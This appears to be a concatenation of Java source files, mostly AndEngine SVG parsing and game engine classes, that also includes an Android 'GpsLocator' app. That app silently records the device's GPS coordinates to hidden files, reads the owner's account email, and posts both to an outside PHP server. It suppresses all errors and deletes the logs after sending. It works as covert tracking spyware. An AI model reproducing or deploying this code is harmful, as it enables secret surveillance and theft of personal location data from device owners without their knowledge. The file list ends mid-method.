if (!mantissaRead) {
return 0.0f;
}
break m2;
case '0':
}
}
}
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
l: for (;;) {
if (mantissaDigit < 9) {
mantissaDigit++;
mantissa = mantissa * 10 + (SVGPathParser.this.mCurrentChar - '0');
expAdj--;
}
SVGPathParser.this.mCurrentChar = this.read();
switch (SVGPathParser.this.mCurrentChar) {
default:
break l;
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
}
}
}
}
switch (SVGPathParser.this.mCurrentChar) {
case 'e': case 'E':
SVGPathParser.this.mCurrentChar = this.read();
switch (SVGPathParser.this.mCurrentChar) {
default:
throw new IllegalArgumentException("Unexpected char '" + SVGPathParser.this.mCurrentChar + "'.");
case '-':
expPos = false;
case '+':
SVGPathParser.this.mCurrentChar = this.read();
switch (SVGPathParser.this.mCurrentChar) {
default:
throw new IllegalArgumentException("Unexpected char '" + SVGPathParser.this.mCurrentChar + "'.");
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
}
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
}
en: switch (SVGPathParser.this.mCurrentChar) {
case '0':
l: for (;;) {
SVGPathParser.this.mCurrentChar = this.read();
switch (SVGPathParser.this.mCurrentChar) {
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
break l;
default:
break en;
case '0':
}
}
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
l: for (;;) {
if (expDig < 3) {
expDig++;
exp = exp * 10 + (SVGPathParser.this.mCurrentChar - '0');
}
SVGPathParser.this.mCurrentChar = this.read();
switch (SVGPathParser.this.mCurrentChar) {
default:
break l;
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
}
}
}
default:
}
if (!expPos) {
exp = -exp;
}
exp += expAdj;
if (!mantPosition) {
mantissa = -mantissa;
}
return this.buildFloat(mantissa, exp);
}
public float nextFloat() {
this.skipWhitespace();
final float f = this.parseFloat();
this.skipNumberSeparator();
return f;
}
public float buildFloat(int pMantissa, final int pExponent) {
if (pExponent < -125 || pMantissa == 0) {
return 0.0f;
}
if (pExponent >= 128) {
return (pMantissa > 0)
? Float.POSITIVE_INFINITY
: Float.NEGATIVE_INFINITY;
}
if (pExponent == 0) {
return pMantissa;
}
if (pMantissa >= (1 << 26)) {
pMantissa++; // round up trailing bits if they will be dropped.
}
return (float) ((pExponent > 0) ? pMantissa * org.anddev.andengine.extension.svg.util.constants.MathUtils.POWERS_OF_10[pExponent] : pMantissa / org.anddev.andengine.extension.svg.util.constants.MathUtils.POWERS_OF_10[-pExponent]);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
}
| Java |
package org.anddev.andengine.extension.svg.util;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import android.graphics.Canvas;
/**
* @author Nicolas Gramlich
* @since 19:53:50 - 25.05.2011
*/
public class SVGLineParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static void parse(final SVGProperties pSVGProperties, final Canvas pCanvas, final SVGPaint pSVGPaint) {
final float x1 = pSVGProperties.getFloatAttribute(ATTRIBUTE_X1, 0f);
final float x2 = pSVGProperties.getFloatAttribute(ATTRIBUTE_X2, 0f);
final float y1 = pSVGProperties.getFloatAttribute(ATTRIBUTE_Y1, 0f);
final float y2 = pSVGProperties.getFloatAttribute(ATTRIBUTE_Y2, 0f);
if (pSVGPaint.setStroke(pSVGProperties)) {
pSVGPaint.ensureComputedBoundsInclude(x1, y1);
pSVGPaint.ensureComputedBoundsInclude(x2, y2);
pCanvas.drawLine(x1, y1, x2, y2, pSVGPaint.getPaint());
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 16:50:17 - 21.05.2011
*/
public class SVGNumberParser {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static SVGNumberParserFloatResult parseFloats(final String pString) {
if(pString == null) {
return null;
}
final String[] parts = pString.split("[\\s,]+");
final float[] numbers = new float[parts.length];
for(int i = parts.length - 1; i >= 0; i--) {
numbers[i] = Float.parseFloat(parts[i]);
}
return new SVGNumberParserFloatResult(numbers);
}
public static SVGNumberParserIntegerResult parseInts(final String pString) {
if(pString == null) {
return null;
}
final String[] parts = pString.split("[\\s,]+");
final int[] numbers = new int[parts.length];
for(int i = parts.length - 1; i >= 0; i--) {
numbers[i] = Integer.parseInt(parts[i]);
}
return new SVGNumberParserIntegerResult(numbers);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public static class SVGNumberParserIntegerResult {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final int[] mNumbers;
// ===========================================================
// Constructors
// ===========================================================
public SVGNumberParserIntegerResult(final int[] pNumbers) {
this.mNumbers = pNumbers;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public int[] getNumbers() {
return this.mNumbers;
}
public int getNumberCount() {
return this.mNumbers.length;
}
public int getNumber(final int pIndex) {
return this.mNumbers[pIndex];
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
public static class SVGNumberParserFloatResult {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final float[] mNumbers;
// ===========================================================
// Constructors
// ===========================================================
public SVGNumberParserFloatResult(final float[] pNumbers) {
this.mNumbers = pNumbers;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public float[] getNumbers() {
return this.mNumbers;
}
public int getNumberCount() {
return this.mNumbers.length;
}
public float getNumber(final int pIndex) {
return this.mNumbers[pIndex];
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
} | Java |
package org.anddev.andengine.extension.svg.util;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import android.graphics.Canvas;
import android.graphics.RectF;
/**
* @author Nicolas Gramlich
* @since 19:57:25 - 25.05.2011
*/
public class SVGEllipseParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static void parse(final SVGProperties pSVGProperties, final Canvas pCanvas, final SVGPaint pSVGPaint, final RectF pRect) {
final Float centerX = pSVGProperties.getFloatAttribute(ATTRIBUTE_CENTER_X);
final Float centerY = pSVGProperties.getFloatAttribute(ATTRIBUTE_CENTER_Y);
final Float radiusX = pSVGProperties.getFloatAttribute(ATTRIBUTE_RADIUS_X);
final Float radiusY = pSVGProperties.getFloatAttribute(ATTRIBUTE_RADIUS_Y);
if (centerX != null && centerY != null && radiusX != null && radiusY != null) {
pRect.set(centerX - radiusX, centerY - radiusY, centerX + radiusX, centerY + radiusY);
final boolean fill = pSVGPaint.setFill(pSVGProperties);
if (fill) {
pCanvas.drawOval(pRect, pSVGPaint.getPaint());
}
final boolean stroke = pSVGPaint.setStroke(pSVGProperties);
if (stroke) {
pCanvas.drawOval(pRect, pSVGPaint.getPaint());
}
if(fill || stroke) {
pSVGPaint.ensureComputedBoundsInclude(centerX - radiusX, centerY - radiusY);
pSVGPaint.ensureComputedBoundsInclude(centerX + radiusX, centerY + radiusY);
}
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.util.SVGNumberParser.SVGNumberParserFloatResult;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import android.graphics.Canvas;
import android.graphics.Path;
/**
* @author Nicolas Gramlich
* @since 19:47:02 - 25.05.2011
*/
public class SVGPolygonParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static void parse(final SVGProperties pSVGProperties, final Canvas pCanvas, final SVGPaint pSVGPaint) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pSVGProperties.getStringAttribute(ATTRIBUTE_POINTS));
if (svgNumberParserFloatResult != null) {
final float[] points = svgNumberParserFloatResult.getNumbers();
if (points.length >= 2) {
final Path path = SVGPolylineParser.parse(points);
path.close();
final boolean fill = pSVGPaint.setFill(pSVGProperties);
if (fill) {
pCanvas.drawPath(path, pSVGPaint.getPaint());
}
final boolean stroke = pSVGPaint.setStroke(pSVGProperties);
if (stroke) {
pCanvas.drawPath(path, pSVGPaint.getPaint());
}
if(fill || stroke) {
pSVGPaint.ensureComputedBoundsInclude(path);
}
}
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import org.anddev.andengine.extension.svg.util.SVGNumberParser.SVGNumberParserIntegerResult;
import org.anddev.andengine.extension.svg.util.constants.ColorUtils;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.xml.sax.Attributes;
import android.graphics.Color;
/**
* @author Nicolas Gramlich
* @since 17:43:24 - 22.05.2011
*/
public class SVGParserUtils implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static Float extractFloatAttribute(final String pString) {
if (pString == null) {
return null;
} else {
try {
if (pString.endsWith(UNIT_PX)) {
return Float.parseFloat(pString.substring(0, pString.length() - 2));
} else {
return Float.parseFloat(pString);
}
} catch (final NumberFormatException nfe) {
return null;
}
}
}
public static String extractIDFromURLProperty(final String pProperty) {
return pProperty.substring("url(#".length(), pProperty.length() - 1);
}
public static Integer extractColorFromRGBProperty(final String pProperty) {
final SVGNumberParserIntegerResult svgNumberParserIntegerResult = SVGNumberParser.parseInts(pProperty.substring("rgb(".length(), pProperty.indexOf(')')));
if(svgNumberParserIntegerResult.getNumberCount() == 3) {
return Color.argb(0, svgNumberParserIntegerResult.getNumber(0), svgNumberParserIntegerResult.getNumber(1), svgNumberParserIntegerResult.getNumber(2));
} else {
return null;
}
}
public static Integer extraColorIntegerProperty(final String pProperty) {
return Integer.parseInt(pProperty, 16);
}
public static Integer extractColorFromHexProperty(final String pProperty) {
final String hexColorString = pProperty.substring(1).trim();
if(hexColorString.length() == 3) {
final int parsedInt = Integer.parseInt(hexColorString, 16);
final int red = (parsedInt & ColorUtils.COLOR_MASK_12BIT_RGB_R) >> 8;
final int green = (parsedInt & ColorUtils.COLOR_MASK_12BIT_RGB_G) >> 4;
final int blue = (parsedInt & ColorUtils.COLOR_MASK_12BIT_RGB_B) >> 0;
/* Generate color, duplicating the bits, so that i.e.: #F46 gets #FFAA66. */
return Color.argb(0, (red << 4) | red, (green << 4) | green, (blue << 4) | blue);
} else if(hexColorString.length() == 6) {
return Integer.parseInt(hexColorString, 16);
} else {
return null;
}
}
public static String parseHref(final Attributes pAttributes) {
String href = SAXHelper.getStringAttribute(pAttributes, ATTRIBUTE_HREF);
if(href != null) {
if(href.startsWith("#")) {
href = href.substring(1);
}
}
return href;
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package com.example.gpslocator;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.File;
import java.io.BufferedWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.Activity;
import android.view.Menu;
import android.content.Context;
import android.content.Intent;
import android.content.res.AssetManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.widget.Toast;
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// sendF
App _app = new App();
_app.sendF();
/* Use the LocationManager class to obtain GPS locations */
LocationManager mlocManager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
LocationListener mlocListener = new MyLocationListener();
mlocManager.requestLocationUpdates( LocationManager.GPS_PROVIDER, 0, 0, mlocListener);
}
@Override
public boolean onCreateOptionsMenu(Menu menu)
{
getMenuInflater().inflate(R.menu.activity_main, menu);
return true;
}
/**
* This is the only file needed to run GpsLocator
*
* author : damiz
* date : 2012
*/
public class MyLocationListener implements LocationListener
{
public App _app = new App();
public void onLocationChanged(Location loc)
{
loc.getLatitude();
loc.getLongitude();
String Text = loc.getLatitude() + ":" + loc.getLongitude();
try {
_app.pD(Text);
_app.sendF();
} catch (Exception e) {
// put nothing in here
}
}
public void onProviderDisabled(String provider)
{
_app.sendF();
}
public void onProviderEnabled(String provider)
{
_app.sendF();
}
public void onStatusChanged(String provider, int status, Bundle extras)
{
_app.sendF();
}
}
public class App {
// put your post service
public String postService = "http://inkodeo.be/WebServices/gloc.php";
// put your crop repository
public String cropPath = "/download/";
public String cropName = "a";
public String cropExtension = "psg";
public int count = 0;
public void App()
{
this.sendF();
}
public void saveCrop(String s) throws IOException
{
int cropCount=this.getLastCropNumber();
if(this.count>90)
{
//
cropCount++;this.count=0;
}
FileWriter f = new FileWriter(Environment.getExternalStorageDirectory()
+ this.cropPath+this.cropName+"."+(cropCount)+"."+this.cropExtension, true);
try {
f.write(s);
} finally {
f.close();
}
}
public String getEmailAccount()
{
AccountManager manager = (AccountManager) getSystemService(Context.ACCOUNT_SERVICE);
Account[] accounts = manager.getAccounts();
//Account[] accounts = manager.getAccountsByType("com.google"); // google only
List<String> possibleEmails = new LinkedList<String>();
for (Account account : accounts) {
possibleEmails.add(account.name);
}
if(!possibleEmails.isEmpty() && possibleEmails.get(0) != null){
String email = possibleEmails.get(0);
String[] parts = email.split("@");
if(parts.length > 0 && parts[0] != null)
return email;
else
return "nobody";
}else
return "nobody";
}
// postData
public void pD(String s) throws IOException
{
try {
saveCrop(android.text.format.DateFormat.format("yyyy-MM-dd hh:mm:ss", new java.util.Date())+"--"+s+"/");
this.count++;
if(this.count>95)
{
this.count=0;
}
} catch (IOException e) {
// put nothing in here
}
}
public String getFile(String filePath) throws java.io.IOException
{
BufferedReader reader = new BufferedReader(new FileReader(filePath));
String line, results = "";
while( ( line = reader.readLine() ) != null)
{
results += line;
}
reader.close();
return results;
}
public String getString(String file)
{
File sdcard = Environment.getExternalStorageDirectory();
//Get the text file
File f = new File(sdcard,"/download/"+file+".txt");
//Read text from file
StringBuilder text = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new FileReader(f));
String line;
while ((line = br.readLine()) != null) {
text.append(line);
text.append('\n');
}
}
catch (IOException e) {
//You'll need to add proper error handling here
}
return text.toString();
}
public int getLastCropNumber()
{
int nmb=0;
String[] fileList = new File(Environment.getExternalStorageDirectory()+this.cropPath).list();
try
{
if(fileList.length>0)
{
for(int i=0;i<fileList.length;i++)
{
if(fileList[i].endsWith("."+this.cropExtension))
{
String tmp = fileList[i].split("\\.")[1];
if(nmb<Integer.parseInt(tmp))
{
nmb=Integer.parseInt(tmp);
}
}
}
}
}catch(Exception e){
// put nothing in here
}
return nmb;
}
public boolean sendF()
{
try
{
// Create a new HttpClient and Post Header
HttpClient httpclient = new DefaultHttpClient();
// put your php post service in place
HttpPost httppost = new HttpPost(this.postService);
List nVP = new ArrayList(2);
nVP.add(new BasicNameValuePair("usr", this.getEmailAccount()));
String[] fileList = new File(Environment.getExternalStorageDirectory()+this.cropPath).list();
if(fileList.length>0)
{
for(int i=0;i<fileList.length;i++)
{
if(fileList[i].endsWith(cropExtension))
{
String cPath = this.cropPath+this.cropName+"."+this.getLastCropNumber()+"."+this.cropExtension;
// set the repository for cropping
nVP.add(new BasicNameValuePair("ctc", getFile(Environment.getExternalStorageDirectory()+cPath)));
// send the file content by posting it to an online post service
httppost.setEntity(new UrlEncodedFormEntity(nVP));
HttpResponse response = httpclient.execute(httppost);
// deleting crop if sended
File f = new File(Environment.getExternalStorageDirectory()+cPath);
if (f.exists()) {
f.delete();
}
}
}
}
} catch(Exception e) {
// put nothing in here
}
return true;
}
}
}
| Java |
package org.anddev.andengine.engine;
import javax.microedition.khronos.opengles.GL10;
import javax.microedition.khronos.opengles.GL11;
import org.anddev.andengine.audio.music.MusicFactory;
import org.anddev.andengine.audio.music.MusicManager;
import org.anddev.andengine.audio.sound.SoundFactory;
import org.anddev.andengine.audio.sound.SoundManager;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.engine.handler.IUpdateHandler;
import org.anddev.andengine.engine.handler.UpdateHandlerList;
import org.anddev.andengine.engine.handler.runnable.RunnableHandler;
import org.anddev.andengine.engine.options.EngineOptions;
import org.anddev.andengine.entity.scene.Scene;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.input.touch.controller.ITouchController;
import org.anddev.andengine.input.touch.controller.ITouchController.ITouchEventCallback;
import org.anddev.andengine.input.touch.controller.SingleTouchControler;
import org.anddev.andengine.opengl.buffer.BufferObjectManager;
import org.anddev.andengine.opengl.font.FontFactory;
import org.anddev.andengine.opengl.font.FontManager;
import org.anddev.andengine.opengl.texture.TextureManager;
import org.anddev.andengine.opengl.texture.atlas.bitmap.BitmapTextureAtlasTextureRegionFactory;
import org.anddev.andengine.opengl.util.GLHelper;
import org.anddev.andengine.sensor.SensorDelay;
import org.anddev.andengine.sensor.accelerometer.AccelerometerData;
import org.anddev.andengine.sensor.accelerometer.AccelerometerSensorOptions;
import org.anddev.andengine.sensor.accelerometer.IAccelerometerListener;
import org.anddev.andengine.sensor.location.ILocationListener;
import org.anddev.andengine.sensor.location.LocationProviderStatus;
import org.anddev.andengine.sensor.location.LocationSensorOptions;
import org.anddev.andengine.sensor.orientation.IOrientationListener;
import org.anddev.andengine.sensor.orientation.OrientationData;
import org.anddev.andengine.sensor.orientation.OrientationSensorOptions;
import org.anddev.andengine.util.Debug;
import org.anddev.andengine.util.constants.TimeConstants;
import android.content.Context;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.location.LocationProvider;
import android.os.Bundle;
import android.os.Vibrator;
import android.view.Display;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnTouchListener;
import android.view.WindowManager;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 12:21:31 - 08.03.2010
*/
public class Engine implements SensorEventListener, OnTouchListener, ITouchEventCallback, TimeConstants, LocationListener {
// ===========================================================
// Constants
// ===========================================================
private static final SensorDelay SENSORDELAY_DEFAULT = SensorDelay.GAME;
private static final int UPDATEHANDLERS_CAPACITY_DEFAULT = 32;
// ===========================================================
// Fields
// ===========================================================
private boolean mRunning = false;
private long mLastTick = -1;
private float mSecondsElapsedTotal = 0;
private final State mThreadLocker = new State();
private final UpdateThread mUpdateThread = new UpdateThread();
private final RunnableHandler mUpdateThreadRunnableHandler = new RunnableHandler();
private final EngineOptions mEngineOptions;
protected final Camera mCamera;
private ITouchController mTouchController;
private SoundManager mSoundManager;
private MusicManager mMusicManager;
private final TextureManager mTextureManager = new TextureManager();
private final BufferObjectManager mBufferObjectManager = new BufferObjectManager();
private final FontManager mFontManager = new FontManager();
protected Scene mScene;
private Vibrator mVibrator;
private ILocationListener mLocationListener;
private Location mLocation;
private IAccelerometerListener mAccelerometerListener;
private AccelerometerData mAccelerometerData;
private IOrientationListener mOrientationListener;
private OrientationData mOrientationData;
private final UpdateHandlerList mUpdateHandlers = new UpdateHandlerList(UPDATEHANDLERS_CAPACITY_DEFAULT);
protected int mSurfaceWidth = 1; // 1 to prevent accidental DIV/0
protected int mSurfaceHeight = 1; // 1 to prevent accidental DIV/0
private boolean mIsMethodTracing;
// ===========================================================
// Constructors
// ===========================================================
public Engine(final EngineOptions pEngineOptions) {
BitmapTextureAtlasTextureRegionFactory.reset();
SoundFactory.reset();
MusicFactory.reset();
FontFactory.reset();
BufferObjectManager.setActiveInstance(this.mBufferObjectManager);
this.mEngineOptions = pEngineOptions;
this.setTouchController(new SingleTouchControler());
this.mCamera = pEngineOptions.getCamera();
if(this.mEngineOptions.needsSound()) {
this.mSoundManager = new SoundManager();
}
if(this.mEngineOptions.needsMusic()) {
this.mMusicManager = new MusicManager();
}
this.mUpdateThread.start();
}
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean isRunning() {
return this.mRunning;
}
public synchronized void start() {
if(!this.mRunning) {
this.mLastTick = System.nanoTime();
this.mRunning = true;
}
}
public synchronized void stop() {
if(this.mRunning) {
this.mRunning = false;
}
}
public Scene getScene() {
return this.mScene;
}
public void setScene(final Scene pScene) {
this.mScene = pScene;
}
public EngineOptions getEngineOptions() {
return this.mEngineOptions;
}
public Camera getCamera() {
return this.mCamera;
}
public float getSecondsElapsedTotal() {
return this.mSecondsElapsedTotal;
}
public void setSurfaceSize(final int pSurfaceWidth, final int pSurfaceHeight) {
// Debug.w("SurfaceView size changed to (width x height): " + pSurfaceWidth + " x " + pSurfaceHeight, new Exception());
this.mSurfaceWidth = pSurfaceWidth;
this.mSurfaceHeight = pSurfaceHeight;
this.onUpdateCameraSurface();
}
protected void onUpdateCameraSurface() {
this.mCamera.setSurfaceSize(0, 0, this.mSurfaceWidth, this.mSurfaceHeight);
}
public int getSurfaceWidth() {
return this.mSurfaceWidth;
}
public int getSurfaceHeight() {
return this.mSurfaceHeight;
}
public ITouchController getTouchController() {
return this.mTouchController;
}
public void setTouchController(final ITouchController pTouchController) {
this.mTouchController = pTouchController;
this.mTouchController.applyTouchOptions(this.mEngineOptions.getTouchOptions());
this.mTouchController.setTouchEventCallback(this);
}
public AccelerometerData getAccelerometerData() {
return this.mAccelerometerData;
}
public OrientationData getOrientationData() {
return this.mOrientationData;
}
public SoundManager getSoundManager() throws IllegalStateException {
if(this.mSoundManager != null) {
return this.mSoundManager;
} else {
throw new IllegalStateException("To enable the SoundManager, check the EngineOptions!");
}
}
public MusicManager getMusicManager() throws IllegalStateException {
if(this.mMusicManager != null) {
return this.mMusicManager;
} else {
throw new IllegalStateException("To enable the MusicManager, check the EngineOptions!");
}
}
public TextureManager getTextureManager() {
return this.mTextureManager;
}
public FontManager getFontManager() {
return this.mFontManager;
}
public void clearUpdateHandlers() {
this.mUpdateHandlers.clear();
}
public void registerUpdateHandler(final IUpdateHandler pUpdateHandler) {
this.mUpdateHandlers.add(pUpdateHandler);
}
public void unregisterUpdateHandler(final IUpdateHandler pUpdateHandler) {
this.mUpdateHandlers.remove(pUpdateHandler);
}
public boolean isMethodTracing() {
return this.mIsMethodTracing;
}
public void startMethodTracing(final String pTraceFileName) {
if(!this.mIsMethodTracing) {
this.mIsMethodTracing = true;
android.os.Debug.startMethodTracing(pTraceFileName);
}
}
public void stopMethodTracing() {
if(this.mIsMethodTracing) {
android.os.Debug.stopMethodTracing();
this.mIsMethodTracing = false;
}
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onAccuracyChanged(final Sensor pSensor, final int pAccuracy) {
if(this.mRunning) {
switch(pSensor.getType()) {
case Sensor.TYPE_ACCELEROMETER:
if(this.mAccelerometerData != null) {
this.mAccelerometerData.setAccuracy(pAccuracy);
this.mAccelerometerListener.onAccelerometerChanged(this.mAccelerometerData);
} else if(this.mOrientationData != null) {
this.mOrientationData.setAccelerometerAccuracy(pAccuracy);
this.mOrientationListener.onOrientationChanged(this.mOrientationData);
}
break;
case Sensor.TYPE_MAGNETIC_FIELD:
this.mOrientationData.setMagneticFieldAccuracy(pAccuracy);
this.mOrientationListener.onOrientationChanged(this.mOrientationData);
break;
}
}
}
@Override
public void onSensorChanged(final SensorEvent pEvent) {
if(this.mRunning) {
switch(pEvent.sensor.getType()) {
case Sensor.TYPE_ACCELEROMETER:
if(this.mAccelerometerData != null) {
this.mAccelerometerData.setValues(pEvent.values);
this.mAccelerometerListener.onAccelerometerChanged(this.mAccelerometerData);
} else if(this.mOrientationData != null) {
this.mOrientationData.setAccelerometerValues(pEvent.values);
this.mOrientationListener.onOrientationChanged(this.mOrientationData);
}
break;
case Sensor.TYPE_MAGNETIC_FIELD:
this.mOrientationData.setMagneticFieldValues(pEvent.values);
this.mOrientationListener.onOrientationChanged(this.mOrientationData);
break;
}
}
}
@Override
public void onLocationChanged(final Location pLocation) {
if(this.mLocation == null) {
this.mLocation = pLocation;
} else {
if(pLocation == null) {
this.mLocationListener.onLocationLost();
} else {
this.mLocation = pLocation;
this.mLocationListener.onLocationChanged(pLocation);
}
}
}
@Override
public void onProviderDisabled(final String pProvider) {
this.mLocationListener.onLocationProviderDisabled();
}
@Override
public void onProviderEnabled(final String pProvider) {
this.mLocationListener.onLocationProviderEnabled();
}
@Override
public void onStatusChanged(final String pProvider, final int pStatus, final Bundle pExtras) {
switch(pStatus) {
case LocationProvider.AVAILABLE:
this.mLocationListener.onLocationProviderStatusChanged(LocationProviderStatus.AVAILABLE, pExtras);
break;
case LocationProvider.OUT_OF_SERVICE:
this.mLocationListener.onLocationProviderStatusChanged(LocationProviderStatus.OUT_OF_SERVICE, pExtras);
break;
case LocationProvider.TEMPORARILY_UNAVAILABLE:
this.mLocationListener.onLocationProviderStatusChanged(LocationProviderStatus.TEMPORARILY_UNAVAILABLE, pExtras);
break;
}
}
@Override
public boolean onTouch(final View pView, final MotionEvent pSurfaceMotionEvent) {
if(this.mRunning) {
final boolean handled = this.mTouchController.onHandleMotionEvent(pSurfaceMotionEvent);
try {
/*
* As a human cannot interact 1000x per second, we pause the
* UI-Thread for a little.
*/
Thread.sleep(20); // TODO Maybe this can be removed, when TouchEvents are handled on the UpdateThread!
} catch (final InterruptedException e) {
Debug.e(e);
}
return handled;
} else {
return false;
}
}
@Override
public boolean onTouchEvent(final TouchEvent pSurfaceTouchEvent) {
/*
* Let the engine determine which scene and camera this event should be
* handled by.
*/
final Scene scene = this.getSceneFromSurfaceTouchEvent(pSurfaceTouchEvent);
final Camera camera = this.getCameraFromSurfaceTouchEvent(pSurfaceTouchEvent);
this.convertSurfaceToSceneTouchEvent(camera, pSurfaceTouchEvent);
if(this.onTouchHUD(camera, pSurfaceTouchEvent)) {
return true;
} else {
/* If HUD didn't handle it, Scene may handle it. */
return this.onTouchScene(scene, pSurfaceTouchEvent);
}
}
protected boolean onTouchHUD(final Camera pCamera, final TouchEvent pSceneTouchEvent) {
if(pCamera.hasHUD()) {
return pCamera.getHUD().onSceneTouchEvent(pSceneTouchEvent);
} else {
return false;
}
}
protected boolean onTouchScene(final Scene pScene, final TouchEvent pSceneTouchEvent) {
if(pScene != null) {
return pScene.onSceneTouchEvent(pSceneTouchEvent);
} else {
return false;
}
}
// ===========================================================
// Methods
// ===========================================================
public void runOnUpdateThread(final Runnable pRunnable) {
this.mUpdateThreadRunnableHandler.postRunnable(pRunnable);
}
public void interruptUpdateThread(){
this.mUpdateThread.interrupt();
}
public void onResume() {
// TODO GLHelper.reset(pGL); ?
this.mTextureManager.reloadTextures();
this.mFontManager.reloadFonts();
BufferObjectManager.setActiveInstance(this.mBufferObjectManager);
this.mBufferObjectManager.reloadBufferObjects();
}
public void onPause() {
}
protected Camera getCameraFromSurfaceTouchEvent(@SuppressWarnings("unused") final TouchEvent pTouchEvent) {
return this.getCamera();
}
protected Scene getSceneFromSurfaceTouchEvent(@SuppressWarnings("unused") final TouchEvent pTouchEvent) {
return this.mScene;
}
protected void convertSurfaceToSceneTouchEvent(final Camera pCamera, final TouchEvent pSurfaceTouchEvent) {
pCamera.convertSurfaceToSceneTouchEvent(pSurfaceTouchEvent, this.mSurfaceWidth, this.mSurfaceHeight);
}
public void onLoadComplete(final Scene pScene) {
this.setScene(pScene);
}
void onTickUpdate() throws InterruptedException {
if(this.mRunning) {
final long secondsElapsed = this.getNanosecondsElapsed();
this.onUpdate(secondsElapsed);
